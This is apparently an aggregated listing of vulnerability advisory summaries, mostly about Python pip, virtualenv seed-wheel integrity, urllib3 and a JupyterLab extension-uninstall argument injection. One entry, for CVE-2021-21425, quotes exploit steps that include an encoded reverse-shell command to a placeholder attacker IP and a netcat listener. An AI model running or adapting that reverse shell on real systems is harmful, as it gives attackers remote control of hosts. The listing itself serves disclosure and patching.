EUVD-2026-89459

JupyterLab: Argument injection in JupyterLab extension uninstall exposes server-readable files and internal URLs...

CentOS Linux 7 [TuxCare] Security Update: python3-pip (CENTOS7:CLSA-2024:1729512774)

The CentOS Linux 7 host has a package installed that is affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2024:1729512774 advisory. - urllib3 is a user-friendly HTTP client library for Python. When using urllib3's proxy support with ProxyManager, the Proxy-Authorization header...

Rocky Linux 8.6 [CIQ] Security Update: python39-pip / python39-pip-wheel (ciqsa-2026_0233)

The Rocky Linux 8.6 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20260233 advisory. This advisory aggregates security fixes for the python3x-pip SRPM in CIQ LTS 8.6. It addresses 1 CVE: CVE-2021-28861. Tenable has extracted the preceding...

Rocky Linux 8 [CIQ] Security Update: Cython-debugsource / PyYAML-debugsource / babel / etc Multiple Vulnerabilities (crlsa-2020_4654)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20204654 advisory. python: infinite loop in the tarfile module via crafted TAR archive CVE-2019-20907 python-pip: directory traversal in downloadhttpurl function in...

Rocky Linux 8.6 [CIQ] Security Update: python38-pip / python38-pip-wheel Multiple Vulnerabilities (ciqsa-2026_0210)

The Rocky Linux 8.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ ciqsa-20260210 advisory. This advisory aggregates security fixes for the python3x-pip SRPM in CIQ LTS 8.6. It addresses 4 CVEs: CVE-2015-20107, CVE-2020-10735, CVE-2021-28861,...

AlmaLinux 9.2 [TuxCare] Security Update: python3.11-pip / python3.11-pip-wheel (ALMALINUX9.2:CLSA-2025:1765376235)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1765376235 advisory. - Directory traversal vulnerability in the 1 extract and 2 extractall functions in the tarfile module in Python allows user-assisted remote...

CentOS Linux 7 [TuxCare] Security Update: python3-pip Multiple Vulnerabilities (CENTOS7:CLSA-2026:1775723090)

The CentOS Linux 7 host has a package installed that is affected by multiple vulnerabilities as referenced in the TuxCare CENTOS7:CLSA-2026:1775723090 advisory. - urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.0 and prior to 2.6.0, the Streaming API improperly...

Rocky Linux 8 [CIQ] Security Update: Cython-debugsource / PyYAML-debugsource / numpy-debugsource / etc Multiple Vulnerabilities (crlsa-2021_4162)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20214162 advisory. python-psutil: Double free because of refcount mishandling CVE-2019-18874 python-jinja2: ReDoS vulnerability in the urlize filter CVE-2020-28493 python:...

GHSA-94P9-XGH2-XP45 virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

downloadwheel runs pip download and hands the result straight to the seeder, with nothing checking the bytes it gets back. The embedded pip and setuptools wheels carry a BUNDLESHA256 that virtualenv checks on every load, but a wheel fetched over the network for the periodic-update feature or the...

virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

downloadwheel runs pip download and hands the result straight to the seeder, with nothing checking the bytes it gets back. The embedded pip and setuptools wheels carry a BUNDLESHA256 that virtualenv checks on every load, but a wheel fetched over the network for the periodic-update feature or the...

CentOS Linux 7 [TuxCare] Security Update: python3-pip (CENTOS7:CLSA-2026:1786355121)

The CentOS Linux 7 host has a package installed that is affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2026:1786355121 advisory. - A flaw was found in python-pip in the way it handled Unicode separators in git references. A remote attacker could possibly use this issue to...

CVE-2021-21425

CVE-2021-21425 source: https://www.exploit-db.com/exploits/49973 1 change target ip 2 change payload echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

DEBIAN-CVE-2026-102930

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, downloadwheel accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels'...

CVE-2026-102904

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 4.0.0 until 4.5.11 and 4.6.4, the PyPI Extension Manager uninstall request reaches ExtensionHandler.post, which validates extension names for installatio...

CVE-2026-102904

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 4.0.0 until 4.5.11 and 4.6.4, the PyPI Extension Manager uninstall request reaches ExtensionHandler.post, which validates extension names for installatio...

CVE-2026-102930 virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, downloadwheel accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels'...

CVE-2026-102930

The virtualenv tool (prior to version 21.7.12 ) is vulnerable to a supply chain attack due to a lack of integrity verification in the download_wheel() function. When fetching pip and setuptools seed wheels for periodic updates or via the --download option, the software fails to verify the bytes a...

CVE-2026-102930 virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, downloadwheel accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels'...

CVE-2026-102930 virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, downloadwheel accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels'...

CVE-2026-102904

In JupyterLab versions 4.0.0 through 4.5.11 and 4.6.4, an argument injection vulnerability exists in the PyPI Extension Manager . The ExtensionHandler.post method validates names for installation but fails to reject option-like values during uninstallation, passing them directly to PyPIExtensionM...